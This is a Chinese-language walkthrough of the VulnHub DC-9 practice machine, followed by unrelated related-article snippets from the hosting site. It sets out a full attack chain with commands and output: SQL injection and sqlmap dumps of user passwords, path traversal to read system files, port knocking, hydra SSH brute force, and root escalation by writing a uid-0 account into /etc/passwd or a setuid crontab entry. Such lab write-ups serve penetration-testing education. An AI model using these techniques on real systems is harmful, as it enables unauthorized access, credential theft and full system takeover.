DC-9靶机

目录

DC-9靶场链接:

首先进行主机发现:

sqlmap注入:

文件包含:

端口敲门规则:

hydra爆破:

root提权:

方法一/etc/passwd:

​编辑

方法二定时任务crontab:


DC-9靶场链接:

https://download.vulnhub.com/dc/DC-9.zip

下载后解压会有一个DC-9.ova文件,直接在vm虚拟机点击左上角打开-->文件-->选中这个.ova文件就能创建靶场,kali和靶机都调整至NAT模式

首先进行主机发现:

arp-scan -l

得知靶机ip为192.168.183.152

192.168.183.1   00:50:56:c0:00:08       (Unknown)

192.168.183.2   00:50:56:fc:0d:25       (Unknown)

192.168.183.152 00:0c:29:2b:2b:33       (Unknown)

192.168.183.254 00:50:56:fe:ac:e6       (Unknown)

4 packets received by filter, 0 packets dropped by kernel

Ending arp-scan 1.10.0: 256 hosts scanned in 1.853 seconds (138.15 hosts/sec). 4 responded

nmap扫描端口:                           

nmap -sV -p-  192.168.183.152  

开放80端口,22端口处于过滤状态

PORT   STATE    SERVICE VERSION

22/tcp filtered ssh

80/tcp open     http    Apache httpd 2.4.38 ((Debian))

MAC Address: 00:0C:29:2B:2B:33 (VMware)

dirsearch扫文件

dirsearch -u 192.168.183.152 -e * -i 200

Target: http://192.168.183.152/

[12:29:08] Starting:                                       

[12:29:18] 200 -    0B  - /config.php

[12:29:23] 200 -  409B  - /includes/

[12:29:26] 200 -  494B  - /manage.php

打开网页,一开始看到员工信息和登录页面那里,想到Cewl爬取/display.php网页信息做密码字典,把这页的员工名字和邮件名都复制进字典里做用户字典,用hydra爆破,但是hydra拒绝链接(当时还没留意到22的filter。。)

登录框尝试sql注入,

0' union select 1,2,3,4,5,6#		
0' union select 1,2,3,4,5,database()#		//数据库staff

sqlmap注入:

抓包的话能看见虽然登录页面是/search.php,但是包里的路径是/results.php

sqlmap抓数据库:

sqlmap -u "http://192.168.183.152/results.php" --data "search=bettyr" --dbs --dump

得到账户admin和密码transorbital1

Database: Staff

Table: Users

[1 entry]

+--------+--------------------------------------------------+----------+

| UserID | Password                                         | Username |

+--------+--------------------------------------------------+----------+

| 1      | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) | admin    |

+--------+--------------------------------------------------+----------+

继续收集别的用户密码:

sqlmap -u "http://192.168.183.152/results.php" --data "search=mary" --dbs --dump

 得到三个库:

[13:04:12] [INFO] fetching database names

available databases [3]:

[*] information_schema

[*] Staff

[*] users

 先看users库的:

sqlmap -u http://192.168.183.152/results.php --data 'search=mary' -D users --tables     

 得到UserDetails表名:

[13:11:10] [INFO] fetching tables for database: 'users'

Database: users

[1 table]

+-------------+

| UserDetails |

+-------------+

查段名:

sqlmap -u http://192.168.183.152/results.php --data 'search=mary' -D users -T UserDetails --colunms

接下来查username和password:

[13:12:12] [INFO] fetching columns for table 'UserDetails' in database 'users'

Database: users

Table: UserDetails

[6 columns]

+-----------+-----------------+

| Column    | Type            |

+-----------+-----------------+

| firstname | varchar(30)     |

| id        | int(6) unsigned |

| lastname  | varchar(30)     |

| password  | varchar(20)     |

| reg_date  | timestamp       |

| username  | varchar(30)     |

+-----------+-----------------+

查看字段:

sqlmap -u http://192.168.183.152/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump

得到用户名及密码:

Table: UserDetails

[17 entries]

+-----------+---------------+

| username  | password      |

+-----------+---------------+

| marym     | 3kfs86sfd     |

| julied    | 468sfdfsd2    |

| fredf     | 4sfd87sfd1    |

| barneyr   | RocksOff      |

| tomc      | TC&TheBoyz    |

| jerrym    | B8m#48sd      |

| wilmaf    | Pebbles       |

| bettyr    | BamBam01      |

| chandlerb | UrAG0D!       |

| joeyt     | Passw0rd      |

| rachelg   | yN72#dsd      |

| rossg     | ILoveRachel   |

| monicag   | 3248dsds7s    |

| phoebeb   | smellycats    |

| scoots    | YR3BVxxxw87   |

| janitor   | Ilovepeepee   |

| janitor2  | Hawaii-Five-0 |

+-----------+---------------+

文件包含:

先用admin的账户登录上去,看见底下的“File does not exist”

"File does not exist"的错误提示表明所引用的文件不存在。当尝试加载或访问本地文件时,如果文件路径不正确或文件确实不存在,系统会返回此错误。

根据经验参数很可能是file,?file=/etc/passwd没有成功,多加几个../跳转

http://192.168.183.152/manage.php?file=../../../../../etc/passwd

端口敲门规则:

服务器是Apache,试着包含一下配置文件,但是读不了配置文件和日志文件,也就无法和之前一样一句话木马上去。联想到ssh的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd的配置文件:

?file=../../../../etc/knockd.conf

端口敲门规则(Port Knocking)是一种网络安全技术,用于隐藏和保护服务器的开放端口。它是通过在特定的顺序中发送特定的数据包或连接请求来实现的。通常情况下,服务器的开放端口是可以直接访问的,这使得服务器容易受到恶意攻击。而端口敲门规则可以在不公开服务器实际开放端口的情况下,提供一种访问服务器的方法。

具体来说,端口敲门规则工作原理如下:

1、客户端向服务器发送一系列特定的数据包或连接请求,按照预定的顺序进行操作。

2、服务器上设置了一个监控程序,它会监听服务器接收到的数据包或连接请求。

3、当服务器接收到符合预定顺序的特定数据包或连接请求时,它会临时打开相应的端口,允许客户端访问服务器。

4、客户端在获得访问权限后,可以通过打开的端口与服务器进行通信,完成所需的操作。

端口敲门规则的好处在于隐藏了服务器的实际开放端口,增加了服务器的安全性。只有知道正确的敲门序列的客户端才能访问服务器,而其他人无法直接访问服务器的开放端口。

/etc/knockd.conf 文件是 Knockd 服务的配置文件,它用于指定 Knockd 敲门规则,Knockd 是一种端口伪装技术,可以通过在指定的端口序列上发送特殊的数据包来打开一个或多个防火墙规则以允许传入的连接请求通过。

在 /etc/knockd.conf 文件使用INI格式,其中包含以下主要部分:

  1. options:包含全局选项,如日志路径、PID文件路径等。
  2. control:包含Knockd控制服务的配置,如监听的IP地址和端口号等。
  3. sequence:该部分列出了要检查的端口序列,以及每个序列相关的配置,如打开的端口、打开端口的持续时间、使用哪个防火墙规则等。

配置文件的内容大概是(引用他人解释):

[options]

UseSyslog

[openSSH]

sequence = 7469,8475,9842   # 打开ssh 22访问的三个操作端口 ;

seq_timeout = 25

command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT  # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉

tcpflags = syn

[closeSSH]

sequence = 9842,8475,7469   # 关闭ssh 22访问的三个操作端口

seq_timeout = 25

command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来

tcpflags = syn

也就是说我们依次访问,打开操作的端口 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了

在kali中执行如下命令:

使用7469/8475/9842队列号敲门登录:

nmap -p 7469 192.168.183.152

nmap -p 8475 192.168.183.152

nmap -p 9842 192.168.183.152

或者加快命令的输入速度也可以写个python的 for in 循环来访问,如下:

for x in 7469 8475 9842; do nmap -p $x 192.168.183.152; done

hydra爆破:

现在可以ssh登录了,再次尝试hydra爆破,把刚刚sqlmap搞出来的用户名放一个文件user.txt,密码放一个文件passwd.txt,然后开始爆破

hydra -L user.txt -P passwd.txt ssh://192.168.183.152

用户名:

janitor2

janitor

phoebeb

monicag

rossg

joeyt

chandlerb

fredf

密码:

3kfs86sfd    

468sfdfsd2    

4sfd87sfd1    

RocksOff     

TC&TheBoyz 

B8m#48sd  

Pebbles    

BamBam01   

UrAG0D!   

Passw0rd    

yN72#dsd      

ILoveRachel  

3248dsds7s    

smellycats   

YR3BVxxxw87   

Ilovepeepee

Hawaii-Five-0

得到 login: janitor   password: Ilovepeepee  

远程登录:

ssh janitor@192.168.183.152

janitor用户目录下有隐藏目录.secrets-for-putin里面有隐藏的密码文件,做成字典再次hydra爆破

得到一组新账户:用户:fredf,密码: B4-Tru3-001

登录后sudo -l查看具有root权限的文件,里面躺着一个test,这个路径的向上两级能看到test.py

cat test.py

脚本内容:

#!/usr/bin/pythonimport sys   #包含sys后 才能用sys.argvif len (sys.argv) != 3 :   #sys.argv[1] 是文件本身print ("Usage: python test.py read append")sys.exit (1)else :f = open(sys.argv[1], "r") # r 以只读方式打开文件。文件的指针都放在文件开头。这是默认模式。output = (f.read())f = open(sys.argv[2], "a") # a 打开一个文件用于追加。如果文件已存在,则文件的指针在文件结尾,若文件不存在,则创建新文件并写入。f.write(output) #写入内容f.close() # 关闭 

只能往里面传2个参数,2个参数应该都是文件名,把第一个文件的内容以追加方式写进第二个文件里。

root提权:

方法一/etc/passwd:

openssl passwd -1 -salt yonghu 123456

其中,-1 表示使用MD5算法进行加密,-salt yonghu 指定了一个盐值(salt),123456 是要加密的原始密码。执行该命令后,会生成一个经过加密的密码。

echo 'wxy:$1$wxy$LX4Sjq9tXylHPD/rMRRqA1:0:0:root:/bin/bash' > /tmp/se

将包含用户名和加密密码的字符串写入 /tmp/se 文件中。这个字符串中,wxy 是用户名,$1$wxy$LX4Sjq9tXylHPD/rMRRqA1 是经过加密的密码。其他部分是该用户的一些信息,例如用户ID、组ID、根目录和默认shell等。

 ./test /tmp/se /etc/passwd

执行名为 test 的可执行程序,并将 /tmp/se 文件中的账号密码信息写入 /etc/passwd 文件中

命令的目的是对密码进行加密,将用户名和加密密码写入一个临时文件,然后通过执行 test 程序将该临时文件中的账号信息写入系统的用户数据库 /etc/passwd 中,从而实现添加用户的操作。

然后登录该用户即可得到root权限

或者

perl -e 'print crypt("hack", "salt")' #saOlCG7b7vaGw

echo 'A1oe:saOlCG7b7vaGw:0:0::/root:/bin/bash' > /tmp/11.txt
sudo ./test /tmp/11.txt /etc/passwd
su A1oe

password:hack

方法二定时任务crontab:

echo "* * * * * root chmod 4777 /bin/sh" > /tmp/1.txt
/opt/devstuff/dist/test$ sudo ./test /tmp/1.txt /etc/crontab

flag在/root下面

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/292900.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

罗德与施瓦茨FSV40-N手持式频谱分析仪

描述 R&S FSV是速度最快、功能最全面的信号和频谱分析仪,适用于从事RF系统开发、生产、安装和服务的注重性能、注重成本的用户。 频率范围高达3.6 GHz/7 GHz/13.6 GHz/30 GHz 40 MHz分析带宽 0.4 dB级测量不确定度,最高7 GHz 针对GSM/EDGE、WCDMA/…

模块与包、反序列化校验源码分析、断言、drf之请求、drf之响应

模块与包 什么是模块? 一个py文件,被别的py文件导入使用,它就是模块 如果py文件,直接右键运行,它叫脚本文件 什么是包? 一个文件夹,下有 __init__.py ,和很多py文件,这个…

MySQL 分表真的能提高查询效率?

背景 首先我们以InnoDB引擎,BTree 3层为例。我们需要先了解几个知识点:页的概念、InnoDB数据的读取方式、什么是树搜索?、一次查询花费的I/O次数,跨页查询。 页的概念 索引树的页(page)是指存储索引数据…

第十二章 异常-Exception

一、异常的概念(P444) Java 语言中,将程序执行中发生的不正常情况称为“异常”。(开发过程中的语法错误和逻辑错误不是异常) 执行过程中所发生的异常事件可分为两大类 (1)Error(错误…

链接未来:深入理解链表数据结构(二.c语言实现带头双向循环链表)

上篇文章简述讲解了链表的基本概念并且实现了无头单向不循环链表:链接未来:深入理解链表数据结构(一.c语言实现无头单向非循环链表)-CSDN博客 那今天接着给大家带来带头双向循环链表的实现: 文章目录 一.项目文件规划…

找不到msvcp120dll,无法继续执行代码的解决方法大全

当你尝试启动一个应用程序或游戏,并且遭遇到一个错误信息,告诉你“找不到msvcp120dll,无法继续执行代码”或者收到类似的提示,这说明你的操作系统中缺失了一个关键的动态链接库文件,即 msvcp120.dll。这种情况其实并不罕见&#x…

Android Studio 显示前进后退按钮

在写代码的过程中我们经常需要快速定位到先前或者往后的代码位置,可以使用Alt左右箭头 但是新安装的Android Studio工具栏上是没有显示左右箭头的工具按钮的,需要我们设置将Toolbar显示出来 View-Appearance-Toolbar 勾选即可 显示后

2024年安防行业预测:5G与安防视频监控技术的5大关键趋势

5G技术是一项以前所未有的速度和可靠性提供数据传输的技术,它的出现将极大地促进安防视频监控技术的发展。随着5G技术的快速发展,安防视频监控系统将在多个方面迎来显著的改进和创新。伴随着2023年进入尾声,2024即将到来,那么在20…

JS逆向基础

JS逆向基础 一、什么是JS逆向?二、接口抓包三、逆向分析 一、什么是JS逆向? 我们在网站进行账号登录的时候对网页源进行抓包就会发现我们输入的密码在后台会显示为一串由字母或数字等符号,这就是经过加密呈现的一段加密文字,而分…

学习Python后可以从事哪方面的工作呢?

Python是最适合用来做人工智能是编程语言,人工智能时代来临,Python人才缺口与日俱增,薪资也随之水涨船高,前景广阔。 Python做人工智能的好处:简单高效、优质的文档、强大的AI库、海量的模块,成为研究AI常…

【玩转TableAgent数据智能分析】借助全球高校数据多维度分析案例,体验TableAgent如何助力用户轻松洞察数据,赋能企业高效数智化转型

目录 前言 一、TableAgent介绍及其优势? 1、会话式数据分析,所需即所得 2、私有化部署,数据安全 3、支持企业级数据分析,大规模,高性能 4、支持领域微调,专业化 5、透明化过程,审计部署 二、使用Ta…

TCP服务器的演变过程:揭秘使用多线程实现一对多的TCP服务器

使用多线程实现一对多的TCP服务器 一、前言二、新增使用的API2.1、pthread_create() 函数2.2、pthread_exit()函数 三、实现步骤四、完整代码五、TCP客户端5.1、自己实现一个TCP客户端5.2、Windows下可以使用NetAssist的网络助手工具 小结 一、前言 手把手教你从0开始编写TCP服…